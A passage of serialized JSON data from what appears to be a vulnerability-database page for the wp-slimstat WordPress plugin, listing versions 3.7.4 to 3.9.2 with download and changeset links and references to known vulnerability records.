:351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5373,"download_url":5374,"svn_tag_url":5375,"released_at":39,"has_diff":54,"diff_files_changed":5376,"diff_lines":39,"trac_diff_url":5377,"vulnerabilities":5378,"is_current":54},"3.9.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.1&new_path=%2Fwp-slimstat%2Ftags%2F3.9.2",[5379,5380,5381,5382,5383,5384,5385,5386,5387,5388,5389,5390,5391,5392,5393,5394,5395,5396,5397,5398,5399,5400,5401],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5403,"download_url":5404,"svn_tag_url":5405,"released_at":39,"has_diff":54,"diff_files_changed":5406,"diff_lines":39,"trac_diff_url":5407,"vulnerabilities":5408,"is_current":54},"3.9.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9&new_path=%2Fwp-slimstat%2Ftags%2F3.9.1",[5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424,5425,5426,5427,5428,5429,5430,5431],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5433,"download_url":5434,"svn_tag_url":5435,"released_at":39,"has_diff":54,"diff_files_changed":5436,"diff_lines":39,"trac_diff_url":5437,"vulnerabilities":5438,"is_current":54},"3.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.8.5&new_path=%2Fwp-slimstat%2Ftags%2F3.9",[5439,5440,5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456,5457,5458,5459,5460,5461],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5463,"download_url":5464,"svn_tag_url":5465,"released_at":39,"has_diff":54,"diff_files_changed":5466,"diff_lines":39,"trac_diff_url":5467,"vulnerabilities":5468,"is_current":54},"3.8.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.8.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.8.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.8.4&new_path=%2Fwp-slimstat%2Ftags%2F3.8.5",[5469,5470,5471,5472,5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488,5489,5490,5491],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5493,"download_url":5494,"svn_tag_url":5495,"released_at":39,"has_diff":54,"diff_files_changed":5496,"diff_lines":39,"trac_diff_url":5497,"vulnerabilities":5498,"is_current":54},"3.8.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.8.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.8.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.8.3&new_path=%2Fwp-slimstat%2Ftags%2F3.8.4",[5499,5500,5501,5502,5503,5504,5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520,5521],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5523,"download_url":5524,"svn_tag_url":5525,"released_at":39,"has_diff":54,"diff_files_changed":5526,"diff_lines":39,"trac_diff_url":5527,"vulnerabilities":5528,"is_current":54},"3.8.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.8.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.8.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.8.2&new_path=%2Fwp-slimstat%2Ftags%2F3.8.3",[5529,5530,5531,5532,5533,5534,5535,5536,5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5553,"download_url":5554,"svn_tag_url":5555,"released_at":39,"has_diff":54,"diff_files_changed":5556,"diff_lines":39,"trac_diff_url":5557,"vulnerabilities":5558,"is_current":54},"3.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.8.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.8.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.8&new_path=%2Fwp-slimstat%2Ftags%2F3.8.2",[5559,5560,5561,5562,5563,5564,5565,5566,5567,5568,5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":497,"download_url":5583,"svn_tag_url":5584,"released_at":39,"has_diff":54,"diff_files_changed":5585,"diff_lines":39,"trac_diff_url":5586,"vulnerabilities":5587,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.7.5&new_path=%2Fwp-slimstat%2Ftags%2F3.8",[5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600,5601,5602,5603,5604,5605,5606,5607,5608,5609,5610],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5612,"download_url":5613,"svn_tag_url":5614,"released_at":39,"has_diff":54,"diff_files_changed":5615,"diff_lines":39,"trac_diff_url":5616,"vulnerabilities":5617,"is_current":54},"3.7.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.7.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.7.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.7.4&new_path=%2Fwp-slimstat%2Ftags%2F3.7.5",[5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632,5633,5634,5635,5636,5637,5638,5639,5640],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":376,"url_slug":377,"title":378,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":381},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5642,"download_url":5643,"svn_tag_url":5644,"released_at":39,"has_diff":54,"diff_files_changed":5645,"diff_lines":39,"trac_diff_url":5646,"vulnerabilities":5647,"is_current":54},"3.7.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.7.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.7.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.7.3&new_path=%2Fwp-slimstat%2Ftags%2F3.7.4",[5648,5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664,5665,5666,5667,5668,5669,5670],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_